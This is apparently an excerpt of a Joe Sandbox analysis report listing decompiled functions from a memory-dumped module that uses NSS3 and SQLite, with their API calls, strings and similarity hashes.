Part of subcall function 6CEB4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CEB4EB8,?), ref: 6CEB4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE778F8), ref: 6CEB4EC0

Part of subcall function 6CEB4470: TlsGetValue.KERNEL32(00000000,?,6CE77296,00000000), ref: 6CEB4487
Part of subcall function 6CEB4470: EnterCriticalSection.KERNEL32(?,?,?,6CE77296,00000000), ref: 6CEB44A0
Part of subcall function 6CEB4470: PR_Unlock.NSS3(?,?,?,?,6CE77296,00000000), ref: 6CEB44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CE778F8), ref: 6CEB4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE778F8), ref: 6CEB4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CE778F8), ref: 6CEB4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE778F8), ref: 6CEB4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE778F8), ref: 6CEB4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE778F8), ref: 6CEB4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CF8DCB0,00000000), ref: 6CEB4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CEB501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CE778F8), ref: 6CEB506B

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: aca4a3431ae50ae65dcd86d79697d2900b934c46f7dffd4d7a43bcb0eeede364
Instruction ID: 7e112ccadd18f7028f2a2911c7d55d5584d9febd6c68341b639d7cd96e357fb6
Opcode Fuzzy Hash: aca4a3431ae50ae65dcd86d79697d2900b934c46f7dffd4d7a43bcb0eeede364
Instruction Fuzzy Hash: C851C4B1E016029FDB119F64ED41ABB77B4EF0531CF24453AE80667B12F732D625CA92

Function 6CE5ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE5ACE2
malloc.MOZGLUE(00000001), ref: 6CE5ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE5AD02
TlsGetValue.KERNEL32 ref: 6CE5AD3C
calloc.MOZGLUE(00000001,?), ref: 6CE5AD8C
PR_Unlock.NSS3 ref: 6CE5ADC0
free.MOZGLUE(00000000), ref: 6CE5AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE5AE58
free.MOZGLUE(00000000), ref: 6CE5AE69
free.MOZGLUE(?), ref: 6CE5AE78
PR_Unlock.NSS3 ref: 6CE5AE8C
free.MOZGLUE(?), ref: 6CE5AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE5AEC7

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 88e5997cb01cb28fc25adc8e382c3dc82041f1ab6ec2c065cb1c18435457e325
Instruction ID: edc337feef234256c9114450d616c14bd9b64a73e65ad6b46cb48d2f4c047dfb
Opcode Fuzzy Hash: 88e5997cb01cb28fc25adc8e382c3dc82041f1ab6ec2c065cb1c18435457e325
Instruction Fuzzy Hash: E6517DB1F511168BDB40EF58D8817BF77B8AB0634CF644126D805A7B00E732AA65CBE6

Function 6CE9ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CE9ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE9AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE9AE29

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE9AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE9AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE9AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CE9AEA0

Strings

(CK_INVALID_HANDLE), xrefs: 6CE9AE1F, 6CE9AE80
hSession = 0x%x, xrefs: 6CE9AE01, 6CE9AE11
C_MessageSignInit, xrefs: 6CE9ADE1
hKey = 0x%x, xrefs: 6CE9AE62, 6CE9AE72

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: e647a58a045a695a6df82669d92875a7740e78f64a90ed8185b26a32487580b5
Instruction ID: 654819d52fcbe9dcb340949851fd490310efaa24564b42722d474624b0618f29
Opcode Fuzzy Hash: e647a58a045a695a6df82669d92875a7740e78f64a90ed8185b26a32487580b5
Instruction Fuzzy Hash: 6B31F471F41104ABDB50DF14DC88FAB37B5EF4630DF554429E809ABB11DB329A49CBA2

Function 6CE99EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CE99F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE99F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE99F49

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE99F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE99F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE99FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CE99FC0

Strings

(CK_INVALID_HANDLE), xrefs: 6CE99F3F, 6CE99FA0
C_MessageEncryptInit, xrefs: 6CE99F01
hSession = 0x%x, xrefs: 6CE99F21, 6CE99F31
hKey = 0x%x, xrefs: 6CE99F82, 6CE99F92

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: 5491b981e6dc29b15a6879944c38ceae19d5e01787de983f5cca89cf2d1b3e5e
Instruction ID: 830ea4ce44a543c74853d1f4d88179f537925f1cd07b1f398cdf7a0968723b41
Opcode Fuzzy Hash: 5491b981e6dc29b15a6879944c38ceae19d5e01787de983f5cca89cf2d1b3e5e
Instruction Fuzzy Hash: F9311271B01204AFDB409B14DC89BBF7775AB4230DF154429E80EABB41DB329A08CBA2

Function 6CF34C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CF34CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF34CFD
sqlite3_value_text16.NSS3(?), ref: 6CF34D44

Strings

bad parameter or other API misuse, xrefs: 6CF34D05
out of memory, xrefs: 6CF34C78, 6CF34C9E
invalid, xrefs: 6CF34CF1
no more rows available, xrefs: 6CF34D2E
API call with %s database connection pointer, xrefs: 6CF34CF6
another row available, xrefs: 6CF34D20
abort due to ROLLBACK, xrefs: 6CF34D27, 6CF34D33
unknown error, xrefs: 6CF34D56

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 59459f2d147db16c979b8ea49ef8eb561452202e0e5b6980fc374cfd54e40bcb
Instruction ID: d45270629573b87a611fdff9237ef92246945cb39d638d8d8b25a8889af8bc37
Opcode Fuzzy Hash: 59459f2d147db16c979b8ea49ef8eb561452202e0e5b6980fc374cfd54e40bcb
Instruction Fuzzy Hash: 65313A73E48931B7EB154624A8117E6BF7177C2358F192129D82D4BE54C723AC61C7E2

Function 6CE92DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CE92DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE92E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE92E33

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE92E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE92E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE92E81

Strings

pPin = 0x%p, xrefs: 6CE92E63
C_InitPIN, xrefs: 6CE92DF1
(CK_INVALID_HANDLE), xrefs: 6CE92E2C
hSession = 0x%x, xrefs: 6CE92E0E, 6CE92E1E
ulPinLen = %d, xrefs: 6CE92E7C

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 94e5fb9c7696a69e9f552a67afb236271ffc059efe393026236abf1418b1f874
Instruction ID: 74234a24299f486a0a96f931ee580965b49d0e872e148b15b150b16ecc64c7fe
Opcode Fuzzy Hash: 94e5fb9c7696a69e9f552a67afb236271ffc059efe393026236abf1418b1f874
Instruction Fuzzy Hash: EE31EF71B11104ABDF509B14DC8CB8B3BB5EF4231CF154029E809ABB51DB329A49CBA2

Function 6CE96EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CE96F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE96F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE96F53

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE96F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CE96F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CE96FA1

Strings

(CK_INVALID_HANDLE), xrefs: 6CE96F4C
pPart = 0x%p, xrefs: 6CE96F83
hSession = 0x%x, xrefs: 6CE96F2E, 6CE96F3E
C_DigestUpdate, xrefs: 6CE96F11
ulPartLen = %d, xrefs: 6CE96F9C

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: a88cf9ce74cf51ce41321a0346ce5dea464f0b47cf92a6851d2c377c2fb3b9e8
Instruction ID: 2144a33c7d37b98141d2638a2e8efb68119deaf692c470461d27cb199f2d3acd
Opcode Fuzzy Hash: a88cf9ce74cf51ce41321a0346ce5dea464f0b47cf92a6851d2c377c2fb3b9e8
Instruction Fuzzy Hash: 8831D374B21104AFDB909F24DC89B9B37B5EB4231CF59442AE809A7711DB329A4DCBE1

Function 6CE64880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE648A2
PORT_NewArena_Util.NSS3(00000800), ref: 6CE648C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6CE648D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6CE648FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6CE64908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE64947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CE6496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE64988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF88DAC,?), ref: 6CE649DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE649FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE64ACB

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: 24e398098b96cd98a536bb363f89ddf53536541e0a262a0b2a87243b926d575f
Instruction ID: 00978ab85e44adf80bf021a48636673c959151a635b9533ae3c458bedb849d23
Opcode Fuzzy Hash: 24e398098b96cd98a536bb363f89ddf53536541e0a262a0b2a87243b926d575f
Instruction Fuzzy Hash: A051E271AA03019BEB10CE66DC61B9B76F5AF4130CF30452AE929ABF81F771D444CB66

Function 6CF32D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CF32D9F

Part of subcall function 6CDECA30: EnterCriticalSection.KERNEL32(?,?,?,6CE4F9C9,?,6CE4F4DA,6CE4F9C9,?,?,6CE1369A), ref: 6CDECA7A
Part of subcall function 6CDECA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDECB26

sqlite3_exec.NSS3(?,?,6CF32F70,?,?), ref: 6CF32DF9
sqlite3_free.NSS3(00000000), ref: 6CF32E2C
sqlite3_free.NSS3(?), ref: 6CF32E3A
sqlite3_free.NSS3(?), ref: 6CF32E52
sqlite3_mprintf.NSS3(6CF9AAF9,?), ref: 6CF32E62
sqlite3_free.NSS3(?), ref: 6CF32E70
sqlite3_free.NSS3(?), ref: 6CF32E89
sqlite3_free.NSS3(?), ref: 6CF32EBB
sqlite3_free.NSS3(?), ref: 6CF32ECB
sqlite3_free.NSS3(00000000), ref: 6CF32F3E
sqlite3_free.NSS3(?), ref: 6CF32F4C

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 5021fcedb1ae62b9578c91b4cff1af96667daaf4688ab4619e5acc883a30c174
Instruction ID: 9600b341ad8488b6b61398f533e8a8024a5f7523d8c54e5b110d694134945e39
Opcode Fuzzy Hash: 5021fcedb1ae62b9578c91b4cff1af96667daaf4688ab4619e5acc883a30c174
Instruction Fuzzy Hash: E461B1B5E01225ABEB01CF68D885BDEB7B1EF48348F115024DD19A7752E732E844CBE1

Function 6CE77C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFC2120,Function_00097E60,00000000,?,?,?,?,6CEF067D,6CEF1C60,00000000), ref: 6CE77C81

Part of subcall function 6CDE4C70: TlsGetValue.KERNEL32(?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4C97
Part of subcall function 6CDE4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4CB0
Part of subcall function 6CDE4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4CC9

TlsGetValue.KERNEL32 ref: 6CE77CA0
EnterCriticalSection.KERNEL32(?), ref: 6CE77CB4
PR_Unlock.NSS3 ref: 6CE77CCF

Part of subcall function 6CF0DD70: TlsGetValue.KERNEL32 ref: 6CF0DD8C
Part of subcall function 6CF0DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF0DDB4

TlsGetValue.KERNEL32 ref: 6CE77D04
EnterCriticalSection.KERNEL32(?), ref: 6CE77D1B
realloc.MOZGLUE(-00000050), ref: 6CE77D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE77DF4
PR_Unlock.NSS3 ref: 6CE77E0E

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 109f83754646b396fc40937be21e07281aa93ed6613f75b81babf6190a4884b5
Instruction ID: 60d314012e9132b331d8d8b37e617a84868763a4762ef0c50995e2f026ab29d2
Opcode Fuzzy Hash: 109f83754646b396fc40937be21e07281aa93ed6613f75b81babf6190a4884b5
Instruction Fuzzy Hash: 2E51F271F142009FDB62AF28CC84B6677B5EB4731CF365129EE0487722EB329951CBA1

Function 6CDE4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4CB0
PR_Unlock.NSS3(?,?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4D97
PR_Lock.NSS3(?,?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4DBA
PR_WaitCondVar.NSS3 ref: 6CDE4DD4
PR_Unlock.NSS3(?,?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4DEF

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: ed10069992d25257343963e61c5f14b66edef09f92954c7a19950ee7078ba0a5
Instruction ID: 8696ea29971b0e7ee5e9f0670c51f8cfb417c28a679a3d94e3ed5d1112064508
Opcode Fuzzy Hash: ed10069992d25257343963e61c5f14b66edef09f92954c7a19950ee7078ba0a5
Instruction Fuzzy Hash: 01417FB1E14755CFCB40AFB9D08465ABBF4BF09318F058669D8889B720EB30E994CB91

Function 6CF77CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF77CE0

Part of subcall function 6CF29BF0: TlsGetValue.KERNEL32(?,?,?,6CF70A75), ref: 6CF29C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF77D36
PR_Realloc.NSS3(?,00000080), ref: 6CF77D6D
PR_GetCurrentThread.NSS3 ref: 6CF77D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CF77DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF77DD8
malloc.MOZGLUE(00000080), ref: 6CF77DF8
PR_GetCurrentThread.NSS3 ref: 6CF77E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CF77DF0
:%s:%d:0x%lx, xrefs: 6CF77DB9

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

